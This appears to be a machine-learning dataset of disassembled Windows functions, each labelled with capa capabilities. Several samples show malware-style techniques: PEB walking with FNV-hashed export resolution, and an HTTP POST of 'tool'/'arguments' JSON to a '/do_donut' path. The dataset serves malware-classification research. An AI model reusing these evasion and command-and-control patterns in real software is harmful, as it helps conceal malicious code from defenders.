joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001d40
Capabilities:
Write file on windows

Disassembly:
push rsi
sub rsp, 0x30
mov rsi, rcx
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x50], r8
mov qword [rsp + 0x58], r9
lea rax, [rsp + 0x48]
mov qword [rsp + 0x28], rax
mov ecx, 2
call fcn.140002290
lea rcx, str.Mingw_w64_runtime_failure:_n
mov edx, 0x1b
mov r8d, 1
mov r9, rax
call sub.msvcrt.dll_fwrite
mov ecx, 2
call fcn.140002290
mov r8, qword [rsp + 0x28]
mov rcx, rax
mov rdx, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
int3

Function at 0x1400023b0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rax, qword [0x14000c008]
movzx edx, word [rax]
cmp edx, 0x5a4d
jne 0x14000241c
movsxd rdx, dword [rax + 0x3c]
cmp dword [rax + rdx], 0x4550
jne 0x14000241c
add rax, rdx
movzx edx, word [rax + 0x18]
cmp edx, 0x20b
jne 0x14000241c
movzx edx, word [rax + 6]
test edx, edx
je 0x14000241c
sub rcx, qword [0x14000c008]
movzx r8d, word [rax + 0x14]
add rax, r8
add rax, 0x18
jmp 0x140002408
add rax, 0x28
dec edx
je 0x14000241c
mov r8d, dword [rax + 0xc]
cmp rcx, r8
jb 0x140002400
add r8d, dword [rax + 8]
cmp rcx, r8
jae 0x140002400
jmp 0x14000241e
xor eax, eax
ret

Function at 0x140002420
Capabilities:
Parse pe header

Disassembly:
mov rcx, qword [0x14000c008]
movzx edx, word [rcx]
xor eax, eax
cmp edx, 0x5a4d
jne 0x140002455
movsxd rdx, dword [rcx + 0x3c]
cmp dword [rcx + rdx], 0x4550
jne 0x140002455
movzx r8d, word [rcx + rdx + 0x18]
cmp r8d, 0x20b
jne 0x140002455
movzx eax, word [rcx + rdx + 6]
ret

Function at 0x1400024d0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000c008]
movzx ecx, word [rax]
cmp ecx, 0x5a4d
jne 0x1400024fc
movsxd rcx, dword [rax + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x1400024fc
movzx ecx, word [rax + rcx + 0x18]
cmp ecx, 0x20b
je 0x1400024fe
xor eax, eax
ret

Function at 0x1400021c0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000220a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000220a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000220a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000220a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000220a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000220c
xor al, al
add rsp, 0x28
ret
Function at 0x1400010d0
Capabilities:
Connect to http server
Create http request
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x78
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0xe0]
xor r15d, r15d
mov qword [rsp + 0x48], rax
mov r14, r9
mov rax, qword [rsp + 0xe8]
mov rbp, r8
mov esi, edx
mov qword [rsp + 0x50], rax
mov rdi, rcx
mov dword [rsp + 0x58], r15d
xor r9d, r9d
mov dword [rsp + 0x20], r15d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov ebx, r15d
call qword [sym.imp.WININET.dll_InternetOpenA]
mov qword [rsp + 0x38], 1
lea r9, [0x140003320]
mov dword [rsp + 0x30], r15d
mov rcx, rax
mov dword [rsp + 0x28], 3
movzx r8d, si
mov rdx, rdi
mov qword [rsp + 0x20], r9
mov r13, rax
call qword [sym.imp.WININET.dll_InternetConnectA]
mov qword [rsp + 0x38], 1
lea r8, str._do_donut_
mov dword [rsp + 0x30], r15d
lea rdx, str.POST
mov qword [rsp + 0x28], r15
mov rcx, rax
xor r9d, r9d
mov qword [rsp + 0x20], r15
mov qword [rsp + 0x40], rax
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov r9, rbp
mov qword [rsp + 0x20], r14
lea r8, str._tool_:__s___arguments_:__s_
xor edx, edx
xor ecx, ecx
mov r12, rax
call fcn.140001070
inc eax
movsxd rdi, eax
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r9, rbp
mov qword [rsp + 0x20], r14
mov rcx, rax
lea r8, str._tool_:__s___arguments_:__s_
mov rdx, rdi
mov rsi, rax
call fcn.140001070
mov rax, 0xffffffffffffffff
nop
inc rax
cmp byte [rsi + rax], bl
jne 0x1400011f0
mov r9, rsi
mov dword [rsp + 0x20], eax
mov r8d, 0x1e
lea rdx, str.Content_Type:_application_json
mov rcx, r12
call qword [sym.imp.WININET.dll_HttpSendRequestA]
mov edx, 0x400
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rdi, rax
nop dword [rax + rax]
lea r9, [rsp + 0x58]
mov r8d, 0x400
mov rdx, rdi
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetReadFile]
mov edx, dword [rsp + 0x58]
add r15, rdx
test rbx, rbx
jne 0x14000125e
lea ecx, [rbx + 0x40]
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
jmp 0x140001270
mov r8d, 0x42
mov rdx, r15
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov r8d, dword [rsp + 0x58]
mov rcx, rax
sub rcx, r8
mov rdx, rdi
add rcx, r15
mov rbx, rax
call sub.VCRUNTIME140.dll_memcpy
mov r8d, dword [rsp + 0x58]
xor edx, edx
mov rcx, rdi
call sub.VCRUNTIME140.dll_memset
cmp dword [rsp + 0x58], 0x400
jae 0x140001230
mov rcx, r13
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
lea edx, [r9 + 0x27]
call qword [sym.imp.WININET.dll_InternetSetOptionW]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x48]
mov eax, 1
mov qword [rcx], rbx
mov rcx, qword [rsp + 0x50]
mov qword [rcx], r15
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.140001410
add rsp, 0x78
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x1800193cc
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x20
mov rax, qword [rdx]
mov rdi, rdx
mov rbx, rcx
cmp qword [rcx], rax
je 0x18001949e
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r8, qword [rax + 0x30]
movsxd rcx, dword [r8 + 0x3c]
mov r9d, dword [rcx + r8 + 0x88]
add r9, r8
cmp r9, r8
je 0x18001947e
mov r10d, dword [r9 + 0x18]
test r10d, r10d
je 0x18001947e
mov r15d, dword [r9 + 0x20]
dec r10d
mov ebp, 0xa886c34e
lea rcx, [r15 + r10*4]
mov r11d, dword [rcx + r8]
add r11, r8
mov sil, byte [r11]
inc r11
test sil, sil
je 0x180019479
movsx ecx, sil
sub sil, 0x41
mov edx, ecx
or edx, 0x20
cmp sil, 0x19
mov sil, byte [r11]
cmova edx, ecx
inc r11
xor edx, ebp
imul ebp, edx, 0x1000193
test sil, sil
jne 0x18001944a
cmp ebp, 0x8c8380b8
je 0x180019483
test r10d, r10d
jne 0x18001942c
mov rax, qword [rax]
jmp 0x180019407
mov ecx, dword [r9 + 0x24]
add rcx, r8
movzx edx, word [rcx + r10*2]
mov ecx, dword [r9 + 0x1c]
add rcx, r8
mov eax, dword [rcx + rdx*4]
add rax, r8
call rax
mov rax, qword [rbx]
movzx ecx, byte [rax]
cmp ecx, 5
ja 0x1800194cd
je 0x1800194cd
test ecx, ecx
je 0x1800194cd
sub ecx, 1
je 0x1800194c3
sub ecx, 1
jne 0x1800194cd
mov rax, qword [rdi + 0x10]
cmp qword [rbx + 0x10], rax
jmp 0x1800194d5
mov rax, qword [rdi + 8]
cmp qword [rbx + 8], rax
jmp 0x1800194d5
mov rax, qword [rdi + 0x18]
cmp qword [rbx + 0x18], rax
mov rbx, qword [rsp + 0x40]
sete al
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop rdi
ret

Function at 0x18001958c
Capabilities:
Hash data using fnv

Disassembly:
mov qword [rsp + 8], rbx
xor r10d, r10d
mov rbx, rdx
mov r11, rcx
test r9b, r9b
je 0x1800195de
test r8, r8
je 0x180019601
movabs r9, 0x100000001b3
mov al, byte [r10 + rbx]
mov dl, byte [r10 + rbx]
add al, 0x20
movzx ecx, al
sub dl, 0x41
movzx eax, byte [r10 + rbx]
cmp dl, 0x19
cmova ecx, eax
inc r10
imul r11, r9
movsx rax, cl
xor r11, rax
cmp r10, r8
jb 0x1800195ae
jmp 0x180019601
test r8, r8
je 0x180019601
movabs r9, 0x100000001b3
movsx rcx, byte [r10 + rdx]
inc r10
imul r11, r9
xor r11, rcx
cmp r10, r8
jb 0x1800195ed
mov rbx, qword [rsp + 8]
mov rax, r11
ret
xor r8d, r8d
cmp byte [rcx], r8b
je 0x180023cc6
inc r8
cmp byte [r8 + rcx], 0
jne 0x180023cbc
mov r9b, dl
mov rdx, rcx
movabs rcx, 0xcbf29ce484222325
jmp 0x18001958c
Function at 0x18001d7a8
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
xor ebx, ebx
mov r15, rdx
cmp byte [rcx], 4
mov rdi, rcx
je 0x18001d87e
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r8, qword [rax + 0x30]
movsxd rcx, dword [r8 + 0x3c]
mov r9d, dword [rcx + r8 + 0x88]
add r9, r8
cmp r9, r8
je 0x18001d85e
mov r10d, dword [r9 + 0x18]
test r10d, r10d
je 0x18001d85e
mov r12d, dword [r9 + 0x20]
dec r10d
mov ebp, 0x4bb5d17e
lea rcx, [r12 + r10*4]
mov r11d, dword [rcx + r8]
add r11, r8
mov sil, byte [r11]
inc r11
test sil, sil
je 0x18001d859
movsx ecx, sil
sub sil, 0x41
mov edx, ecx
or edx, 0x20
cmp sil, 0x19
mov sil, byte [r11]
cmova edx, ecx
inc r11
xor edx, ebp
imul ebp, edx, 0x1000193
test sil, sil
jne 0x18001d82a
cmp ebp, 0xd9eec08
je 0x18001d863
test r10d, r10d
jne 0x18001d80c
mov rax, qword [rax]
jmp 0x18001d7e7
mov ecx, dword [r9 + 0x24]
add rcx, r8
movzx edx, word [rcx + r10*2]
mov ecx, dword [r9 + 0x1c]
add rcx, r8
mov eax, dword [rcx + rdx*4]
add rax, r8
call rax
cmp byte [rdi], 4
lea rax, [rdi + 8]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
cmove rbx, rax
mov rdi, qword [rsp + 0x58]
mov al, byte [rbx]
mov rbx, qword [rsp + 0x40]
mov byte [r15], al
add rsp, 0x20
pop r15
pop r14
pop r12
ret
Function at 0x18001d8b0
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
movzx r9d, byte [rcx]
xor r8d, r8d
mov r11, rdx
mov r10, rcx
cmp r9d, 5
ja 0x18001d930
je 0x18001d912
mov edx, r9d
test r9d, r9d
je 0x18001d945
sub edx, 1
je 0x18001d945
sub edx, 1
je 0x18001d945
sub edx, 1
je 0x18001d945
cmp edx, 1
jne 0x18001d945
lea rax, [rcx + 8]
cmp r9b, 4
cmove r8, rax
movzx eax, byte [r8]
mov dword [r11], eax
jmp 0x18001da13
sub r9b, 5
cmp r9b, 1
setbe al
add rcx, 8
neg al
sbb rax, rax
and rax, rcx
mov eax, dword [rax]
jmp 0x18001da11
mov ecx, r9d
sub ecx, 6
je 0x18001da02
sub ecx, 1
je 0x18001d9ef
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov r10d, dword [rcx + r9 + 0x88]
add r10, r9
cmp r10, r9
je 0x18001d9cd
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x18001d9cd
mov r14d, dword [r10 + 0x20]
dec r11d
mov esi, 0xc06efb76
lea rcx, [r14 + r11*4]
mov ebx, dword [rcx + r9]
add rbx, r9
mov dil, byte [rbx]
inc rbx
test dil, dil
je 0x18001d9c8
movsx ecx, dil
sub dil, 0x41
mov edx, ecx
or edx, 0x20
cmp dil, 0x19
mov dil, byte [rbx]
cmova edx, ecx
inc rbx
xor edx, esi
imul esi, edx, 0x1000193
test dil, dil
jne 0x18001d999
cmp esi, 0xdb418a20
je 0x18001d9d2
test r11d, r11d
jne 0x18001d97b
mov rax, qword [rax]
jmp 0x18001d956
mov ecx, dword [r10 + 0x24]
add rcx, r9
movzx edx, word [rcx + r11*2]
mov ecx, dword [r10 + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
call rax
jmp 0x18001da13
lea rax, [r10 + 8]
cmp r9b, 7
cmove r8, rax
cvttsd2si eax, qword [r8]
jmp 0x18001da11
lea rax, [r10 + 8]
cmp r9b, 6
cmove r8, rax
mov eax, dword [r8]
mov dword [rdx], eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x18001da30
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
movzx r8d, byte [rcx]
xor r9d, r9d
mov r10, rcx
cmp r8d, 5
ja 0x18001da8a
je 0x18001da6c
test r8d, r8d
je 0x18001da9f
sub r8d, 1
je 0x18001da9f
sub r8d, 1
jmp 0x18001da9f
sub r8b, 5
cmp r8b, 1
setbe al
add rcx, 8
neg al
sbb rax, rax
and rax, rcx
mov eax, dword [rax]
jmp 0x18001db6b
mov ecx, r8d
sub ecx, 6
je 0x18001db5c
sub ecx, 1
je 0x18001db49
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r8, qword [rax + 0x30]
movsxd rcx, dword [r8 + 0x3c]
mov r10d, dword [rcx + r8 + 0x88]
add r10, r8
cmp r10, r8
je 0x18001db27
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x18001db27
mov r14d, dword [r10 + 0x20]
dec r11d
mov esi, 0xd98f5a33
lea rcx, [r14 + r11*4]
mov ebx, dword [rcx + r8]
add rbx, r8
mov dil, byte [rbx]
inc rbx
test dil, dil
je 0x18001db22
movsx ecx, dil
sub dil, 0x41
mov edx, ecx
or edx, 0x20
cmp dil, 0x19
mov dil, byte [rbx]
cmova edx, ecx
inc rbx
xor edx, esi
imul esi, edx, 0x1000193
test dil, dil
jne 0x18001daf3
cmp esi, 0xc37d75cf
je 0x18001db2c
test r11d, r11d
jne 0x18001dad5
mov rax, qword [rax]
jmp 0x18001dab0
mov ecx, dword [r10 + 0x24]
add rcx, r8
movzx edx, word [rcx + r11*2]
mov ecx, dword [r10 + 0x1c]
add rcx, r8
mov eax, dword [rcx + rdx*4]
add rax, r8
call rax
jmp 0x18001db6d
lea rax, [r10 + 8]
cmp r8b, 7
cmove r9, rax
cvttsd2si eax, qword [r9]
jmp 0x18001db6b
lea rax, [r10 + 8]
cmp r8b, 6
cmove r9, rax
mov eax, dword [r9]
mov dword [rdx], eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret

Function at 0x18001f730
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x20
cmp byte [rcx + 0xb0], 0
mov byte [rcx + 0x68], 1
je 0x18001f7f9
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r8, qword [rax + 0x30]
movsxd rcx, dword [r8 + 0x3c]
mov r9d, dword [rcx + r8 + 0x88]
add r9, r8
cmp r9, r8
je 0x18001f7d9
mov r10d, dword [r9 + 0x18]
test r10d, r10d
je 0x18001f7d9
mov r14d, dword [r9 + 0x20]
dec r10d
mov edi, 0x97bebb65
lea rcx, [r14 + r10*4]
mov r11d, dword [rcx + r8]
add r11, r8
mov bl, byte [r11]
inc r11
test bl, bl
je 0x18001f7d4
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
mov bl, byte [r11]
cmova edx, ecx
inc r11
xor edx, edi
imul edi, edx, 0x1000193
test bl, bl
jne 0x18001f7a9
cmp edi, 0xbd123519
je 0x18001f7de
test r10d, r10d
jne 0x18001f78c
mov rax, qword [rax]
jmp 0x18001f767
mov ecx, dword [r9 + 0x24]
add rcx, r8
movzx edx, word [rcx + r10*2]
mov ecx, dword [r9 + 0x1c]
add rcx, r8
mov eax, dword [rcx + rdx*4]
add rax, r8
call rax
mov rbx, qword [rsp + 0x30]
xor al, al
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
Function at 0x18001f814
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x20
cmp byte [rcx + 0x29], 0
mov byte [rcx + 0x28], 1
je 0x18001f8da
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r8, qword [rax + 0x30]
movsxd rcx, dword [r8 + 0x3c]
mov r9d, dword [rcx + r8 + 0x88]
add r9, r8
cmp r9, r8
je 0x18001f8ba
mov r10d, dword [r9 + 0x18]
test r10d, r10d
je 0x18001f8ba
mov r14d, dword [r9 + 0x20]
dec r10d
mov edi, 0xd033ab36
lea rcx, [r14 + r10*4]
mov r11d, dword [rcx + r8]
add r11, r8
mov bl, byte [r11]
inc r11
test bl, bl
je 0x18001f8b5
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
mov bl, byte [r11]
cmova edx, ecx
inc r11
xor edx, edi
imul edi, edx, 0x1000193
test bl, bl
jne 0x18001f88a
cmp edi, 0xc32c12e0
je 0x18001f8bf
test r10d, r10d
jne 0x18001f86d
mov rax, qword [rax]
jmp 0x18001f848
mov ecx, dword [r9 + 0x24]
add rcx, r8
movzx edx, word [rcx + r10*2]
mov ecx, dword [r9 + 0x1c]
add rcx, r8
mov eax, dword [rcx + rdx*4]
add rax, r8
call rax
mov rbx, qword [rsp + 0x30]
xor al, al
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
Function at 0x180021c58
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x20
and qword [rcx], 0
mov r14, rdx
and qword [rcx + 8], 0
mov r12b, r8b
mov rax, qword [rdx]
mov rdi, rcx
mov qword [rcx], rax
mov r13d, r9d
mov rax, qword [rdx + 8]
mov qword [rcx + 8], rax
add rcx, 0x10
and qword [rdx], 0
and qword [rdx + 8], 0
xor edx, edx
lea r8d, [rdx + 0x40]
call fcn.18004821c
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r8, qword [rax + 0x30]
movsxd rcx, dword [r8 + 0x3c]
mov r9d, dword [rcx + r8 + 0x88]
add r9, r8
cmp r9, r8
je 0x180021d32
mov r10d, dword [r9 + 0x18]
test r10d, r10d
je 0x180021d32
mov r15d, dword [r9 + 0x20]
dec r10d
mov esi, 0xa78c1cb7
lea rcx, [r15 + r10*4]
mov r11d, dword [rcx + r8]
add r11, r8
mov bl, byte [r11]
inc r11
test bl, bl
je 0x180021d2d
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
mov bl, byte [r11]
cmova edx, ecx
inc r11
xor edx, esi
imul esi, edx, 0x1000193
test bl, bl
jne 0x180021d02
cmp esi, 0xfa651893
je 0x180021d37
test r10d, r10d
jne 0x180021ce5
mov rax, qword [rax]
jmp 0x180021cc0
mov ecx, dword [r9 + 0x24]
add rcx, r8
movzx edx, word [rcx + r10*2]
mov ecx, dword [r9 + 0x1c]
add rcx, r8
mov eax, dword [rcx + rdx*4]
add rax, r8
call rax
mov qword [rdi + 0x50], rax
mov rcx, qword [rax + 8]
test rcx, rcx
je 0x180021d61
mov cl, byte [rcx]
mov byte [rdi + 0x58], cl
mov rax, qword [rax]
test rax, rax
je 0x180021d6e
mov al, byte [rax]
mov ebx, 0x200
mov byte [rdi + 0x59], al
mov r8d, ebx
lea rcx, [rdi + 0x5a]
xor edx, edx
call fcn.18004821c
lea rcx, [rdi + 0x260]
mov byte [rdi + 0x25a], r12b
xorps xmm0, xmm0
mov r8d, ebx
movups xmmword [rcx], xmm0
and qword [rcx + 0x10], 0
mov dl, r12b
and qword [rcx + 0x18], 0
call fcn.180019980
mov dword [rdi + 0x280], r13d
mov rbx, qword [r14 + 8]
test rbx, rbx
je 0x180021de7
or esi, 0xffffffff
mov eax, esi
lock xadd dword [rbx + 8], eax
add eax, esi
jne 0x180021de7
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, esi
lock xadd dword [rbx + 0xc], eax
add eax, esi
jne 0x180021de7
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 8]
mov rbx, qword [rsp + 0x50]
mov rax, rdi
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x180021fa8
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x20
movzx r8d, dl
xor edi, edi
mov rsi, rcx
cmp r8d, 5
ja 0x18002207d
je 0x180022166
test dl, dl
je 0x180022166
sub r8d, 1
je 0x180022043
sub r8d, 1
je 0x180022026
sub r8d, 1
je 0x180022005
cmp r8d, 1
jne 0x18002209b
mov byte [rcx], dil
jmp 0x180022169
mov ecx, 0x20
call fcn.180047714
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], dil
jmp 0x18002203b
mov ecx, 0x18
call fcn.180047714
mov qword [rax + 0x10], rdi
mov qword [rax + 8], rdi
mov qword [rax], rdi
mov qword [rsi], rax
jmp 0x180022169
mov ecx, 0x10
call fcn.180047714
mov ecx, 0x50
mov rbx, rax
mov qword [rax], rdi
mov qword [rax + 8], rdi
call fcn.180047714
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rax + 0x10], rax
mov word [rax + 0x18], 0x101
mov qword [rbx], rax
mov qword [rsi], rbx
jmp 0x180022169
sub r8d, 6
je 0x180022166
sub r8d, 1
je 0x180022166
cmp r8d, 1
je 0x18002214f
mov qword [rcx], rdi
test dl, dl
jne 0x180022169
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r8, qword [rax + 0x30]
movsxd rcx, dword [r8 + 0x3c]
mov r9d, dword [rcx + r8 + 0x88]
add r9, r8
cmp r9, r8
je 0x18002212d
mov r10d, dword [r9 + 0x18]
test r10d, r10d
je 0x18002212d
mov r15d, dword [r9 + 0x20]
dec r10d
mov r14d, 0x8a7fca54
lea rcx, [r8 + r10*4]
mov r11d, dword [rcx + r15]
add r11, r8
mov bl, byte [r11]
inc r11
test bl, bl
je 0x180022128
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
mov bl, byte [r11]
cmova edx, ecx
inc r11
xor edx, r14d
imul r14d, edx, 0x1000193
test bl, bl
jne 0x1800220fa
cmp r14d, 0x264f3ace
je 0x180022132
test r10d, r10d
jne 0x1800220dc
mov rax, qword [rax]
jmp 0x1800220b7
mov ecx, dword [r9 + 0x24]
add rcx, r8
movzx edx, word [rcx + r10*2]
mov ecx, dword [r9 + 0x1c]
add rcx, r8
mov eax, dword [rcx + rdx*4]
add rax, r8
call rax
jmp 0x180022169
mov ecx, 0x28
call fcn.180047714
mov qword [rax + 0x18], rdi
mov byte [rax + 0x20], dil
jmp 0x180022030
mov qword [rcx], rdi
mov rbx, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop r14
pop rdi
ret
Function at 0x1800226c0
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x30
cmp byte [rcx], 0
mov rdi, rdx
mov rsi, rcx
jne 0x180022718
mov byte [rcx], 1
mov ecx, 0x10
call fcn.180047714
mov ecx, 0x50
mov rbx, rax
and qword [rax], 0
and qword [rax + 8], 0
call fcn.180047714
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rax + 0x10], rax
mov word [rax + 0x18], 0x101
mov qword [rbx], rax
mov qword [rsi + 8], rbx
cmp byte [rsi], 1
jne 0x180022781
mov rcx, qword [rsi + 8]
lea r9, [rsp + 0x50]
and qword [rsp + 0x50], 0
lea rdx, [rsp + 0x20]
mov r8, rdi
call fcn.18001a028
mov rdx, qword [rdi + 0x18]
mov rbx, qword [rsp + 0x20]
cmp rdx, 0x10
jb 0x180022778
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x180022773
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18002287d
mov rcx, r8
call fcn.18004771c
lea rax, [rbx + 0x40]
jmp 0x18002285a
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r8, qword [rax + 0x30]
movsxd rcx, dword [r8 + 0x3c]
mov r9d, dword [rcx + r8 + 0x88]
add r9, r8
cmp r9, r8
je 0x180022804
mov r10d, dword [r9 + 0x18]
test r10d, r10d
je 0x180022804
mov r14d, dword [r9 + 0x20]
dec r10d
mov esi, 0x4ab8d88b
lea rcx, [r14 + r10*4]
mov r11d, dword [rcx + r8]
add r11, r8
mov bl, byte [r11]
inc r11
test bl, bl
je 0x1800227ff
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
mov bl, byte [r11]
cmova edx, ecx
inc r11
xor edx, esi
imul esi, edx, 0x1000193
test bl, bl
jne 0x1800227d4
cmp esi, 0x88a2a447
je 0x180022809
test r10d, r10d
jne 0x1800227b7
mov rax, qword [rax]
jmp 0x180022792
mov ecx, dword [r9 + 0x24]
add rcx, r8
movzx edx, word [rcx + r10*2]
mov ecx, dword [r9 + 0x1c]
add rcx, r8
mov eax, dword [rcx + rdx*4]
add rax, r8
call rax
mov rdx, qword [rdi + 0x18]
cmp rdx, 0x10
jb 0x18002285a
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x180022855
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18002287d
mov rcx, r8
call fcn.18004771c
mov rbx, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x60]
mov byte [rdi], 0
mov qword [rdi + 0x18], 0xf
and qword [rdi + 0x10], 0
add rsp, 0x30
pop r14
pop rdi
pop rsi
ret
call fcn.1800406a8
int3